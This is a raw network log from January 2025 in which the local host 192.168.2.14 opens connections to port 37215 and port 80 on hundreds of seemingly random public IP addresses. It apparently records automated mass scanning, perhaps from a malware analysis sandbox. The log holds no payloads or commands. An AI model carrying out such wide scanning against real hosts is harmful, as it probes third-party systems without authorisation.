Jan 30, 2025 10:43:05.137229919 CET	60295	37215	192.168.2.14	156.61.150.45
Jan 30, 2025 10:43:05.137247086 CET	60295	37215	192.168.2.14	41.14.120.113
Jan 30, 2025 10:43:05.137254953 CET	60295	37215	192.168.2.14	41.90.43.156
Jan 30, 2025 10:43:05.137264013 CET	60295	37215	192.168.2.14	156.108.243.27
Jan 30, 2025 10:43:05.137265921 CET	60295	37215	192.168.2.14	41.80.222.38
Jan 30, 2025 10:43:05.137265921 CET	60295	37215	192.168.2.14	41.2.120.116
Jan 30, 2025 10:43:05.137267113 CET	60295	37215	192.168.2.14	156.106.132.114
Jan 30, 2025 10:43:05.137268066 CET	60295	37215	192.168.2.14	41.37.125.78
Jan 30, 2025 10:43:05.137267113 CET	60295	37215	192.168.2.14	197.157.69.44
Jan 30, 2025 10:43:05.137270927 CET	60295	37215	192.168.2.14	197.47.13.6
Jan 30, 2025 10:43:05.137288094 CET	60295	37215	192.168.2.14	197.34.164.243
Jan 30, 2025 10:43:05.137290955 CET	60295	37215	192.168.2.14	41.7.35.61
Jan 30, 2025 10:43:05.137293100 CET	60295	37215	192.168.2.14	156.171.194.46
Jan 30, 2025 10:43:05.137307882 CET	60295	37215	192.168.2.14	197.186.152.113
Jan 30, 2025 10:43:05.137310982 CET	60295	37215	192.168.2.14	41.130.10.123
Jan 30, 2025 10:43:05.137311935 CET	60295	37215	192.168.2.14	197.163.213.135
Jan 30, 2025 10:43:05.137319088 CET	60295	37215	192.168.2.14	197.3.168.85
Jan 30, 2025 10:43:05.137327909 CET	60295	37215	192.168.2.14	156.126.221.25
Jan 30, 2025 10:43:05.137340069 CET	60295	37215	192.168.2.14	197.133.33.47
Jan 30, 2025 10:43:05.137346029 CET	60295	37215	192.168.2.14	197.15.229.137
Jan 30, 2025 10:43:05.137358904 CET	60295	37215	192.168.2.14	41.22.90.128
Jan 30, 2025 10:43:05.137363911 CET	60295	37215	192.168.2.14	156.163.109.131
Jan 30, 2025 10:43:05.137367010 CET	60295	37215	192.168.2.14	197.169.60.183
Jan 30, 2025 10:43:05.137367010 CET	60295	37215	192.168.2.14	197.155.247.229
Jan 30, 2025 10:43:05.137371063 CET	60295	37215	192.168.2.14	156.148.115.114
Jan 30, 2025 10:43:05.137371063 CET	60295	37215	192.168.2.14	197.161.189.92
Jan 30, 2025 10:43:05.137383938 CET	60295	37215	192.168.2.14	156.197.130.194
Jan 30, 2025 10:43:05.137384892 CET	60295	37215	192.168.2.14	197.161.239.72
Jan 30, 2025 10:43:05.137393951 CET	60295	37215	192.168.2.14	197.142.127.32
Jan 30, 2025 10:43:05.137398005 CET	60295	37215	192.168.2.14	41.59.130.123
Jan 30, 2025 10:43:05.137403011 CET	60295	37215	192.168.2.14	156.208.178.199
Jan 30, 2025 10:43:05.137406111 CET	60295	37215	192.168.2.14	156.0.40.27
Jan 30, 2025 10:43:05.137417078 CET	60295	37215	192.168.2.14	41.171.15.251
Jan 30, 2025 10:43:05.137418985 CET	60295	37215	192.168.2.14	197.63.93.21
Jan 30, 2025 10:43:05.137420893 CET	60295	37215	192.168.2.14	156.250.204.205
Jan 30, 2025 10:43:05.137425900 CET	60295	37215	192.168.2.14	41.149.36.182
Jan 30, 2025 10:43:05.137439966 CET	60295	37215	192.168.2.14	197.34.10.143
Jan 30, 2025 10:43:05.137453079 CET	60295	37215	192.168.2.14	156.17.138.136
Jan 30, 2025 10:43:05.137460947 CET	60295	37215	192.168.2.14	41.205.129.190
Jan 30, 2025 10:43:05.137463093 CET	60295	37215	192.168.2.14	41.47.107.195
Jan 30, 2025 10:43:05.137463093 CET	60295	37215	192.168.2.14	156.63.49.36
Jan 30, 2025 10:43:05.137475014 CET	60295	37215	192.168.2.14	156.135.50.73
Jan 30, 2025 10:43:05.137476921 CET	60295	37215	192.168.2.14	156.81.224.33
Jan 30, 2025 10:43:05.137480974 CET	60295	37215	192.168.2.14	197.69.50.174
Jan 30, 2025 10:43:05.137490034 CET	60295	37215	192.168.2.14	197.200.63.118
Jan 30, 2025 10:43:05.137491941 CET	60295	37215	192.168.2.14	41.13.9.21
Jan 30, 2025 10:43:05.137495041 CET	60295	37215	192.168.2.14	156.234.173.53
Jan 30, 2025 10:43:05.137507915 CET	60295	37215	192.168.2.14	156.1.53.48
Jan 30, 2025 10:43:05.137511969 CET	60295	37215	192.168.2.14	41.173.63.147
Jan 30, 2025 10:43:05.137516975 CET	60295	37215	192.168.2.14	156.103.136.220
Jan 30, 2025 10:43:05.137532949 CET	60295	37215	192.168.2.14	156.70.251.137
Jan 30, 2025 10:43:05.137540102 CET	60295	37215	192.168.2.14	197.86.173.122
Jan 30, 2025 10:43:05.137540102 CET	60295	37215	192.168.2.14	197.17.18.241
Jan 30, 2025 10:43:05.137543917 CET	60295	37215	192.168.2.14	197.71.133.162
Jan 30, 2025 10:43:05.137546062 CET	60295	37215	192.168.2.14	41.222.141.203
Jan 30, 2025 10:43:05.137559891 CET	60295	37215	192.168.2.14	197.246.80.91
Jan 30, 2025 10:43:05.137564898 CET	60295	37215	192.168.2.14	156.180.248.106
Jan 30, 2025 10:43:05.137569904 CET	60295	37215	192.168.2.14	197.100.66.20
Jan 30, 2025 10:43:05.137583017 CET	60295	37215	192.168.2.14	41.98.132.53
Jan 30, 2025 10:43:05.137586117 CET	60295	37215	192.168.2.14	197.38.122.40
Jan 30, 2025 10:43:05.137587070 CET	60295	37215	192.168.2.14	156.150.189.17
Jan 30, 2025 10:43:05.137603045 CET	60295	37215	192.168.2.14	156.169.85.46
Jan 30, 2025 10:43:05.137603045 CET	60295	37215	192.168.2.14	197.124.81.209
Jan 30, 2025 10:43:05.137612104 CET	60295	37215	192.168.2.14	197.116.22.123
Jan 30, 2025 10:43:05.137622118 CET	60295	37215	192.168.2.14	156.144.27.31
Jan 30, 2025 10:43:05.137661934 CET	60295	37215	192.168.2.14	41.198.240.232
Jan 30, 2025 10:43:05.137671947 CET	60295	37215	192.168.2.14	156.220.197.83
Jan 30, 2025 10:43:05.137671947 CET	60295	37215	192.168.2.14	41.103.182.127
Jan 30, 2025 10:43:05.137685061 CET	60295	37215	192.168.2.14	156.149.0.164
Jan 30, 2025 10:43:05.137686014 CET	60295	37215	192.168.2.14	156.11.23.155
Jan 30, 2025 10:43:05.137687922 CET	60295	37215	192.168.2.14	41.129.138.239
Jan 30, 2025 10:43:05.137691021 CET	60295	37215	192.168.2.14	197.251.30.33
Jan 30, 2025 10:43:05.137700081 CET	60295	37215	192.168.2.14	156.54.201.187
Jan 30, 2025 10:43:05.137710094 CET	60295	37215	192.168.2.14	41.196.194.158
Jan 30, 2025 10:43:05.137710094 CET	60295	37215	192.168.2.14	41.23.84.240
Jan 30, 2025 10:43:05.137725115 CET	60295	37215	192.168.2.14	197.157.244.189
Jan 30, 2025 10:43:05.137725115 CET	60295	37215	192.168.2.14	197.73.236.9
Jan 30, 2025 10:43:05.137732029 CET	60295	37215	192.168.2.14	197.170.156.218
Jan 30, 2025 10:43:05.137744904 CET	60295	37215	192.168.2.14	156.183.105.89
Jan 30, 2025 10:43:05.137746096 CET	60295	37215	192.168.2.14	197.104.110.101
Jan 30, 2025 10:43:05.137746096 CET	60295	37215	192.168.2.14	41.80.42.237
Jan 30, 2025 10:43:05.137758970 CET	60295	37215	192.168.2.14	197.164.22.93
Jan 30, 2025 10:43:05.137758970 CET	60295	37215	192.168.2.14	41.178.112.199
Jan 30, 2025 10:43:05.137768984 CET	60295	37215	192.168.2.14	41.181.70.207
Jan 30, 2025 10:43:05.137773037 CET	60295	37215	192.168.2.14	41.15.8.61
Jan 30, 2025 10:43:05.137778997 CET	60295	37215	192.168.2.14	41.170.47.6
Jan 30, 2025 10:43:05.137793064 CET	60295	37215	192.168.2.14	197.7.33.107
Jan 30, 2025 10:43:05.137801886 CET	60295	37215	192.168.2.14	156.64.174.98
Jan 30, 2025 10:43:05.137803078 CET	60295	37215	192.168.2.14	156.91.57.52
Jan 30, 2025 10:43:05.137804031 CET	60295	37215	192.168.2.14	41.169.247.125
Jan 30, 2025 10:43:05.137804031 CET	60295	37215	192.168.2.14	197.40.167.90
Jan 30, 2025 10:43:05.137804985 CET	60295	37215	192.168.2.14	156.103.4.145
Jan 30, 2025 10:43:05.137805939 CET	60295	37215	192.168.2.14	197.141.155.207
Jan 30, 2025 10:43:05.137804031 CET	60295	37215	192.168.2.14	156.111.245.82
Jan 30, 2025 10:43:05.137804031 CET	60295	37215	192.168.2.14	41.209.165.34
Jan 30, 2025 10:43:05.137814999 CET	60295	37215	192.168.2.14	41.65.231.4
Jan 30, 2025 10:43:05.137814999 CET	60295	37215	192.168.2.14	197.93.104.69
Jan 30, 2025 10:43:05.137825012 CET	60295	37215	192.168.2.14	197.34.110.78
Jan 30, 2025 10:43:05.137829065 CET	60295	37215	192.168.2.14	41.130.227.86
Jan 30, 2025 10:43:05.137841940 CET	60295	37215	192.168.2.14	197.133.202.187
Jan 30, 2025 10:43:05.137841940 CET	60295	37215	192.168.2.14	41.37.30.145
Jan 30, 2025 10:43:05.137856007 CET	60295	37215	192.168.2.14	197.49.134.26
Jan 30, 2025 10:43:05.137856960 CET	60295	37215	192.168.2.14	156.62.229.211
Jan 30, 2025 10:43:05.137883902 CET	60295	37215	192.168.2.14	156.206.25.204
Jan 30, 2025 10:43:05.137883902 CET	60295	37215	192.168.2.14	156.55.158.62
Jan 30, 2025 10:43:05.137883902 CET	60295	37215	192.168.2.14	197.199.242.125
Jan 30, 2025 10:43:05.137890100 CET	60295	37215	192.168.2.14	41.181.63.215
Jan 30, 2025 10:43:05.137891054 CET	60295	37215	192.168.2.14	197.182.71.3
Jan 30, 2025 10:43:05.137892008 CET	60295	37215	192.168.2.14	197.215.122.79
Jan 30, 2025 10:43:05.137891054 CET	60295	37215	192.168.2.14	197.27.132.144
Jan 30, 2025 10:43:05.137893915 CET	60295	37215	192.168.2.14	41.235.134.74
Jan 30, 2025 10:43:05.137902021 CET	60295	37215	192.168.2.14	197.204.15.166
Jan 30, 2025 10:43:05.138084888 CET	33328	37215	192.168.2.14	197.71.120.86
Jan 30, 2025 10:43:05.138084888 CET	33328	37215	192.168.2.14	197.71.120.86
Jan 30, 2025 10:43:05.138602972 CET	33540	37215	192.168.2.14	197.71.120.86
Jan 30, 2025 10:43:05.141577959 CET	37215	60295	197.112.143.30	192.168.2.14
Jan 30, 2025 10:43:05.141590118 CET	37215	60295	41.114.15.245	192.168.2.14
Jan 30, 2025 10:43:05.141599894 CET	37215	60295	197.246.177.244	192.168.2.14
Jan 30, 2025 10:43:05.141608953 CET	37215	60295	197.255.24.121	192.168.2.14
Jan 30, 2025 10:43:05.141619921 CET	37215	60295	156.168.206.187	192.168.2.14
Jan 30, 2025 10:43:05.141628981 CET	37215	60295	156.12.1.123	192.168.2.14
Jan 30, 2025 10:43:05.141643047 CET	37215	60295	41.34.203.247	192.168.2.14
Jan 30, 2025 10:43:05.141644955 CET	60295	37215	192.168.2.14	197.246.177.244
Jan 30, 2025 10:43:05.141644955 CET	60295	37215	192.168.2.14	197.255.24.121
Jan 30, 2025 10:43:05.141649961 CET	60295	37215	192.168.2.14	41.114.15.245
Jan 30, 2025 10:43:05.141649961 CET	60295	37215	192.168.2.14	197.112.143.30
Jan 30, 2025 10:43:05.141657114 CET	60295	37215	192.168.2.14	156.168.206.187
Jan 30, 2025 10:43:05.141664028 CET	37215	60295	197.166.29.215	192.168.2.14
Jan 30, 2025 10:43:05.141674042 CET	60295	37215	192.168.2.14	156.12.1.123
Jan 30, 2025 10:43:05.141681910 CET	37215	60295	197.85.230.163	192.168.2.14
Jan 30, 2025 10:43:05.141699076 CET	60295	37215	192.168.2.14	41.34.203.247
Jan 30, 2025 10:43:05.141700983 CET	60295	37215	192.168.2.14	197.166.29.215
Jan 30, 2025 10:43:05.142014980 CET	60295	37215	192.168.2.14	197.85.230.163
Jan 30, 2025 10:43:05.142193079 CET	37215	60295	197.222.57.125	192.168.2.14
Jan 30, 2025 10:43:05.142201900 CET	37215	60295	156.101.143.7	192.168.2.14
Jan 30, 2025 10:43:05.142210960 CET	37215	60295	156.49.160.210	192.168.2.14
Jan 30, 2025 10:43:05.142215967 CET	37215	60295	41.145.140.95	192.168.2.14
Jan 30, 2025 10:43:05.142225027 CET	37215	60295	156.205.76.137	192.168.2.14
Jan 30, 2025 10:43:05.142227888 CET	60295	37215	192.168.2.14	197.222.57.125
Jan 30, 2025 10:43:05.142229080 CET	37215	60295	156.176.204.203	192.168.2.14
Jan 30, 2025 10:43:05.142240047 CET	37215	60295	41.9.104.66	192.168.2.14
Jan 30, 2025 10:43:05.142249107 CET	37215	60295	41.170.243.221	192.168.2.14
Jan 30, 2025 10:43:05.142255068 CET	60295	37215	192.168.2.14	156.205.76.137
Jan 30, 2025 10:43:05.142255068 CET	60295	37215	192.168.2.14	41.145.140.95
Jan 30, 2025 10:43:05.142258883 CET	60295	37215	192.168.2.14	156.49.160.210
Jan 30, 2025 10:43:05.142260075 CET	60295	37215	192.168.2.14	156.176.204.203
Jan 30, 2025 10:43:05.142258883 CET	60295	37215	192.168.2.14	156.101.143.7
Jan 30, 2025 10:43:05.142271042 CET	60295	37215	192.168.2.14	41.9.104.66
Jan 30, 2025 10:43:05.142283916 CET	60295	37215	192.168.2.14	41.170.243.221
Jan 30, 2025 10:43:05.142290115 CET	37215	60295	197.146.199.69	192.168.2.14
Jan 30, 2025 10:43:05.142307043 CET	37215	60295	156.188.76.253	192.168.2.14
Jan 30, 2025 10:43:05.142317057 CET	37215	60295	41.92.78.36	192.168.2.14
Jan 30, 2025 10:43:05.142324924 CET	37215	60295	156.223.162.115	192.168.2.14
Jan 30, 2025 10:43:05.142334938 CET	37215	60295	197.218.48.207	192.168.2.14
Jan 30, 2025 10:43:05.142337084 CET	60295	37215	192.168.2.14	197.146.199.69
Jan 30, 2025 10:43:05.142345905 CET	60295	37215	192.168.2.14	156.188.76.253
Jan 30, 2025 10:43:05.142347097 CET	60295	37215	192.168.2.14	41.92.78.36
Jan 30, 2025 10:43:05.142345905 CET	37215	60295	156.62.186.243	192.168.2.14
Jan 30, 2025 10:43:05.142359018 CET	37215	60295	41.222.7.4	192.168.2.14
Jan 30, 2025 10:43:05.142369986 CET	60295	37215	192.168.2.14	156.223.162.115
Jan 30, 2025 10:43:05.142369986 CET	60295	37215	192.168.2.14	197.218.48.207
Jan 30, 2025 10:43:05.142379999 CET	37215	60295	197.110.51.134	192.168.2.14
Jan 30, 2025 10:43:05.142388105 CET	60295	37215	192.168.2.14	156.62.186.243
Jan 30, 2025 10:43:05.142390966 CET	37215	60295	197.131.146.76	192.168.2.14
Jan 30, 2025 10:43:05.142400026 CET	37215	60295	41.4.251.105	192.168.2.14
Jan 30, 2025 10:43:05.142409086 CET	37215	60295	156.109.224.118	192.168.2.14
Jan 30, 2025 10:43:05.142425060 CET	60295	37215	192.168.2.14	197.131.146.76
Jan 30, 2025 10:43:05.142426968 CET	60295	37215	192.168.2.14	197.110.51.134
Jan 30, 2025 10:43:05.142419100 CET	37215	60295	156.114.126.218	192.168.2.14
Jan 30, 2025 10:43:05.142435074 CET	60295	37215	192.168.2.14	41.222.7.4
Jan 30, 2025 10:43:05.142435074 CET	60295	37215	192.168.2.14	41.4.251.105
Jan 30, 2025 10:43:05.142436028 CET	60295	37215	192.168.2.14	156.109.224.118
Jan 30, 2025 10:43:05.142446995 CET	37215	60295	197.198.112.4	192.168.2.14
Jan 30, 2025 10:43:05.142457008 CET	37215	60295	156.231.189.227	192.168.2.14
Jan 30, 2025 10:43:05.142462015 CET	37215	60295	41.54.187.227	192.168.2.14
Jan 30, 2025 10:43:05.142467976 CET	60295	37215	192.168.2.14	156.114.126.218
Jan 30, 2025 10:43:05.142471075 CET	37215	60295	41.13.157.95	192.168.2.14
Jan 30, 2025 10:43:05.142476082 CET	37215	60295	156.198.242.132	192.168.2.14
Jan 30, 2025 10:43:05.142481089 CET	37215	60295	197.251.136.165	192.168.2.14
Jan 30, 2025 10:43:05.142489910 CET	37215	60295	197.29.87.86	192.168.2.14
Jan 30, 2025 10:43:05.142496109 CET	60295	37215	192.168.2.14	197.198.112.4
Jan 30, 2025 10:43:05.142496109 CET	60295	37215	192.168.2.14	156.231.189.227
Jan 30, 2025 10:43:05.142501116 CET	37215	60295	41.176.2.6	192.168.2.14
Jan 30, 2025 10:43:05.142509937 CET	37215	60295	156.242.29.176	192.168.2.14
Jan 30, 2025 10:43:05.142514944 CET	60295	37215	192.168.2.14	41.54.187.227
Jan 30, 2025 10:43:05.142518044 CET	60295	37215	192.168.2.14	41.13.157.95
Jan 30, 2025 10:43:05.142518997 CET	37215	60295	197.187.252.60	192.168.2.14
Jan 30, 2025 10:43:05.142518044 CET	60295	37215	192.168.2.14	156.198.242.132
Jan 30, 2025 10:43:05.142518044 CET	60295	37215	192.168.2.14	197.251.136.165
Jan 30, 2025 10:43:05.142529964 CET	60295	37215	192.168.2.14	197.29.87.86
Jan 30, 2025 10:43:05.142537117 CET	60295	37215	192.168.2.14	41.176.2.6
Jan 30, 2025 10:43:05.142540932 CET	37215	60295	41.116.235.188	192.168.2.14
Jan 30, 2025 10:43:05.142548084 CET	60295	37215	192.168.2.14	197.187.252.60
Jan 30, 2025 10:43:05.142560959 CET	37215	60295	156.95.110.178	192.168.2.14
Jan 30, 2025 10:43:05.142565966 CET	37215	60295	197.99.4.5	192.168.2.14
Jan 30, 2025 10:43:05.142570019 CET	37215	60295	41.88.128.241	192.168.2.14
Jan 30, 2025 10:43:05.142580986 CET	37215	60295	197.52.214.98	192.168.2.14
Jan 30, 2025 10:43:05.142585993 CET	37215	60295	197.30.16.70	192.168.2.14
Jan 30, 2025 10:43:05.142596006 CET	37215	60295	156.71.177.132	192.168.2.14
Jan 30, 2025 10:43:05.142605066 CET	60295	37215	192.168.2.14	156.242.29.176
Jan 30, 2025 10:43:05.142605066 CET	60295	37215	192.168.2.14	41.88.128.241
Jan 30, 2025 10:43:05.142605066 CET	60295	37215	192.168.2.14	197.52.214.98
Jan 30, 2025 10:43:05.142608881 CET	60295	37215	192.168.2.14	41.116.235.188
Jan 30, 2025 10:43:05.142608881 CET	60295	37215	192.168.2.14	197.99.4.5
Jan 30, 2025 10:43:05.142615080 CET	60295	37215	192.168.2.14	156.95.110.178
Jan 30, 2025 10:43:05.142618895 CET	60295	37215	192.168.2.14	197.30.16.70
Jan 30, 2025 10:43:05.142628908 CET	37215	60295	197.132.120.210	192.168.2.14
Jan 30, 2025 10:43:05.142638922 CET	37215	60295	197.171.42.12	192.168.2.14
Jan 30, 2025 10:43:05.142648935 CET	60295	37215	192.168.2.14	156.71.177.132
Jan 30, 2025 10:43:05.142663956 CET	37215	60295	197.24.241.187	192.168.2.14
Jan 30, 2025 10:43:05.142666101 CET	60295	37215	192.168.2.14	197.132.120.210
Jan 30, 2025 10:43:05.142673969 CET	37215	60295	156.134.211.68	192.168.2.14
Jan 30, 2025 10:43:05.142674923 CET	60295	37215	192.168.2.14	197.171.42.12
Jan 30, 2025 10:43:05.142683983 CET	37215	60295	156.107.19.155	192.168.2.14
Jan 30, 2025 10:43:05.142694950 CET	37215	60295	41.0.140.63	192.168.2.14
Jan 30, 2025 10:43:05.142704010 CET	37215	60295	41.255.177.91	192.168.2.14
Jan 30, 2025 10:43:05.142705917 CET	60295	37215	192.168.2.14	197.24.241.187
Jan 30, 2025 10:43:05.142707109 CET	60295	37215	192.168.2.14	156.134.211.68
Jan 30, 2025 10:43:05.142714977 CET	37215	60295	197.62.59.49	192.168.2.14
Jan 30, 2025 10:43:05.142725945 CET	60295	37215	192.168.2.14	156.107.19.155
Jan 30, 2025 10:43:05.142725945 CET	60295	37215	192.168.2.14	41.0.140.63
Jan 30, 2025 10:43:05.142726898 CET	37215	60295	156.239.200.141	192.168.2.14
Jan 30, 2025 10:43:05.142739058 CET	37215	60295	197.25.18.252	192.168.2.14
Jan 30, 2025 10:43:05.142748117 CET	60295	37215	192.168.2.14	41.255.177.91
Jan 30, 2025 10:43:05.142748117 CET	37215	60295	41.63.44.18	192.168.2.14
Jan 30, 2025 10:43:05.142754078 CET	60295	37215	192.168.2.14	197.62.59.49
Jan 30, 2025 10:43:05.142759085 CET	37215	60295	197.228.116.148	192.168.2.14
Jan 30, 2025 10:43:05.142762899 CET	60295	37215	192.168.2.14	156.239.200.141
Jan 30, 2025 10:43:05.142770052 CET	37215	60295	156.84.109.79	192.168.2.14
Jan 30, 2025 10:43:05.142771959 CET	60295	37215	192.168.2.14	197.25.18.252
Jan 30, 2025 10:43:05.142780066 CET	37215	60295	41.228.190.247	192.168.2.14
Jan 30, 2025 10:43:05.142784119 CET	60295	37215	192.168.2.14	41.63.44.18
Jan 30, 2025 10:43:05.142785072 CET	37215	60295	197.2.254.23	192.168.2.14
Jan 30, 2025 10:43:05.142791033 CET	60295	37215	192.168.2.14	197.228.116.148
Jan 30, 2025 10:43:05.142796040 CET	37215	60295	197.63.122.128	192.168.2.14
Jan 30, 2025 10:43:05.142811060 CET	37215	60295	156.42.154.143	192.168.2.14
Jan 30, 2025 10:43:05.142822981 CET	60295	37215	192.168.2.14	41.228.190.247
Jan 30, 2025 10:43:05.142822981 CET	60295	37215	192.168.2.14	156.84.109.79
Jan 30, 2025 10:43:05.142822981 CET	60295	37215	192.168.2.14	197.2.254.23
Jan 30, 2025 10:43:05.142831087 CET	37215	33328	197.71.120.86	192.168.2.14
Jan 30, 2025 10:43:05.142853022 CET	60295	37215	192.168.2.14	197.63.122.128
Jan 30, 2025 10:43:05.142853022 CET	60295	37215	192.168.2.14	156.42.154.143
Jan 30, 2025 10:43:05.163137913 CET	35768	80	192.168.2.14	202.122.36.255
Jan 30, 2025 10:43:05.163142920 CET	47660	37215	192.168.2.14	41.47.143.151
Jan 30, 2025 10:43:05.163146019 CET	44424	37215	192.168.2.14	41.40.143.60
Jan 30, 2025 10:43:05.163146019 CET	51542	37215	192.168.2.14	41.51.110.42
Jan 30, 2025 10:43:05.163177967 CET	47520	80	192.168.2.14	17.43.38.50
Jan 30, 2025 10:43:05.167979002 CET	80	35768	202.122.36.255	192.168.2.14
Jan 30, 2025 10:43:05.167992115 CET	37215	47660	41.47.143.151	192.168.2.14
Jan 30, 2025 10:43:05.168001890 CET	37215	44424	41.40.143.60	192.168.2.14
Jan 30, 2025 10:43:05.168061018 CET	47660	37215	192.168.2.14	41.47.143.151
Jan 30, 2025 10:43:05.168061018 CET	44424	37215	192.168.2.14	41.40.143.60
Jan 30, 2025 10:43:05.168082952 CET	35768	80	192.168.2.14	202.122.36.255
Jan 30, 2025 10:43:05.168090105 CET	44424	37215	192.168.2.14	41.40.143.60
Jan 30, 2025 10:43:05.168097019 CET	47660	37215	192.168.2.14	41.47.143.151
Jan 30, 2025 10:43:05.168216944 CET	35768	80	192.168.2.14	202.122.36.255
Jan 30, 2025 10:43:05.168267012 CET	62855	80	192.168.2.14	116.88.35.70
Jan 30, 2025 10:43:05.168267012 CET	62855	80	192.168.2.14	96.179.57.78
Jan 30, 2025 10:43:05.168289900 CET	62855	80	192.168.2.14	122.220.116.30
Jan 30, 2025 10:43:05.168292046 CET	62855	80	192.168.2.14	221.89.93.107
Jan 30, 2025 10:43:05.168292046 CET	62855	80	192.168.2.14	126.85.12.208
Jan 30, 2025 10:43:05.168294907 CET	62855	80	192.168.2.14	212.184.188.224
Jan 30, 2025 10:43:05.168294907 CET	62855	80	192.168.2.14	44.131.255.108
Jan 30, 2025 10:43:05.168323040 CET	62855	80	192.168.2.14	137.195.178.62
Jan 30, 2025 10:43:05.168324947 CET	62855	80	192.168.2.14	71.214.244.77
Jan 30, 2025 10:43:05.168324947 CET	62855	80	192.168.2.14	146.104.14.47
Jan 30, 2025 10:43:05.168327093 CET	62855	80	192.168.2.14	220.215.242.46
Jan 30, 2025 10:43:05.168325901 CET	62855	80	192.168.2.14	146.197.179.41
Jan 30, 2025 10:43:05.168327093 CET	62855	80	192.168.2.14	12.46.225.4
Jan 30, 2025 10:43:05.168327093 CET	62855	80	192.168.2.14	105.255.40.210
Jan 30, 2025 10:43:05.168327093 CET	62855	80	192.168.2.14	204.92.142.160
Jan 30, 2025 10:43:05.168327093 CET	62855	80	192.168.2.14	115.210.198.138
Jan 30, 2025 10:43:05.168375969 CET	62855	80	192.168.2.14	159.232.147.144
Jan 30, 2025 10:43:05.168375969 CET	62855	80	192.168.2.14	121.67.30.87
Jan 30, 2025 10:43:05.168380976 CET	62855	80	192.168.2.14	40.32.211.57
Jan 30, 2025 10:43:05.168380976 CET	62855	80	192.168.2.14	132.240.57.91
Jan 30, 2025 10:43:05.168380976 CET	62855	80	192.168.2.14	118.214.47.190
Jan 30, 2025 10:43:05.168381929 CET	62855	80	192.168.2.14	122.177.13.186
Jan 30, 2025 10:43:05.168381929 CET	62855	80	192.168.2.14	73.155.90.181
Jan 30, 2025 10:43:05.168380976 CET	62855	80	192.168.2.14	182.167.227.127
Jan 30, 2025 10:43:05.168380976 CET	62855	80	192.168.2.14	220.87.198.92
Jan 30, 2025 10:43:05.168385983 CET	62855	80	192.168.2.14	75.102.229.8
Jan 30, 2025 10:43:05.168381929 CET	62855	80	192.168.2.14	90.8.83.99
Jan 30, 2025 10:43:05.168385029 CET	62855	80	192.168.2.14	5.158.240.139
Jan 30, 2025 10:43:05.168381929 CET	62855	80	192.168.2.14	27.180.111.62
Jan 30, 2025 10:43:05.168385029 CET	62855	80	192.168.2.14	65.188.44.229
Jan 30, 2025 10:43:05.168381929 CET	62855	80	192.168.2.14	98.3.250.201
Jan 30, 2025 10:43:05.168384075 CET	62855	80	192.168.2.14	126.153.219.138
Jan 30, 2025 10:43:05.168385029 CET	62855	80	192.168.2.14	70.236.73.14
Jan 30, 2025 10:43:05.168384075 CET	62855	80	192.168.2.14	104.15.158.117
Jan 30, 2025 10:43:05.168385983 CET	62855	80	192.168.2.14	119.130.144.168
Jan 30, 2025 10:43:05.168384075 CET	62855	80	192.168.2.14	169.111.226.250
Jan 30, 2025 10:43:05.168385983 CET	62855	80	192.168.2.14	182.248.86.12
Jan 30, 2025 10:43:05.168384075 CET	62855	80	192.168.2.14	172.102.107.226
Jan 30, 2025 10:43:05.168385983 CET	62855	80	192.168.2.14	114.197.27.115
Jan 30, 2025 10:43:05.168428898 CET	62855	80	192.168.2.14	167.253.56.211
Jan 30, 2025 10:43:05.168428898 CET	62855	80	192.168.2.14	43.136.104.252
Jan 30, 2025 10:43:05.168428898 CET	62855	80	192.168.2.14	134.250.252.148
Jan 30, 2025 10:43:05.168431044 CET	62855	80	192.168.2.14	211.168.101.145
Jan 30, 2025 10:43:05.168431044 CET	62855	80	192.168.2.14	145.187.205.250
Jan 30, 2025 10:43:05.168431044 CET	62855	80	192.168.2.14	199.213.62.84
Jan 30, 2025 10:43:05.168432951 CET	62855	80	192.168.2.14	96.167.213.43
Jan 30, 2025 10:43:05.168431044 CET	62855	80	192.168.2.14	158.238.125.179
Jan 30, 2025 10:43:05.168431044 CET	62855	80	192.168.2.14	38.81.6.67
Jan 30, 2025 10:43:05.168431997 CET	62855	80	192.168.2.14	129.175.86.4
Jan 30, 2025 10:43:05.168431044 CET	62855	80	192.168.2.14	98.213.49.123
Jan 30, 2025 10:43:05.168432951 CET	62855	80	192.168.2.14	140.251.111.245
Jan 30, 2025 10:43:05.168431044 CET	62855	80	192.168.2.14	37.171.70.130
Jan 30, 2025 10:43:05.168431997 CET	62855	80	192.168.2.14	141.14.77.190
Jan 30, 2025 10:43:05.168431044 CET	62855	80	192.168.2.14	31.61.233.216
Jan 30, 2025 10:43:05.168482065 CET	62855	80	192.168.2.14	104.49.103.95
Jan 30, 2025 10:43:05.168482065 CET	62855	80	192.168.2.14	213.244.139.121
Jan 30, 2025 10:43:05.168484926 CET	62855	80	192.168.2.14	19.129.159.65
Jan 30, 2025 10:43:05.168484926 CET	62855	80	192.168.2.14	153.32.133.166
Jan 30, 2025 10:43:05.168486118 CET	62855	80	192.168.2.14	107.183.236.181
Jan 30, 2025 10:43:05.168486118 CET	62855	80	192.168.2.14	75.215.182.227
Jan 30, 2025 10:43:05.168488026 CET	62855	80	192.168.2.14	95.123.88.178
Jan 30, 2025 10:43:05.168486118 CET	62855	80	192.168.2.14	129.146.75.43
Jan 30, 2025 10:43:05.168489933 CET	62855	80	192.168.2.14	32.247.122.254
Jan 30, 2025 10:43:05.168488026 CET	62855	80	192.168.2.14	119.15.70.79
Jan 30, 2025 10:43:05.168487072 CET	62855	80	192.168.2.14	176.183.194.206
Jan 30, 2025 10:43:05.168486118 CET	62855	80	192.168.2.14	44.233.133.63
Jan 30, 2025 10:43:05.168488026 CET	62855	80	192.168.2.14	84.194.118.161
Jan 30, 2025 10:43:05.168484926 CET	62855	80	192.168.2.14	145.111.70.187
Jan 30, 2025 10:43:05.168487072 CET	62855	80	192.168.2.14	163.168.201.244
Jan 30, 2025 10:43:05.168492079 CET	62855	80	192.168.2.14	69.44.23.166
Jan 30, 2025 10:43:05.168489933 CET	62855	80	192.168.2.14	124.30.166.161
Jan 30, 2025 10:43:05.168484926 CET	62855	80	192.168.2.14	162.61.46.185
Jan 30, 2025 10:43:05.168489933 CET	62855	80	192.168.2.14	73.47.124.151
Jan 30, 2025 10:43:05.168488026 CET	62855	80	192.168.2.14	125.97.49.218
Jan 30, 2025 10:43:05.168492079 CET	62855	80	192.168.2.14	183.250.147.79
Jan 30, 2025 10:43:05.168566942 CET	62855	80	192.168.2.14	210.42.10.154
Jan 30, 2025 10:43:05.168566942 CET	62855	80	192.168.2.14	156.230.230.205
Jan 30, 2025 10:43:05.168566942 CET	62855	80	192.168.2.14	109.250.255.139
Jan 30, 2025 10:43:05.168569088 CET	62855	80	192.168.2.14	99.52.172.64
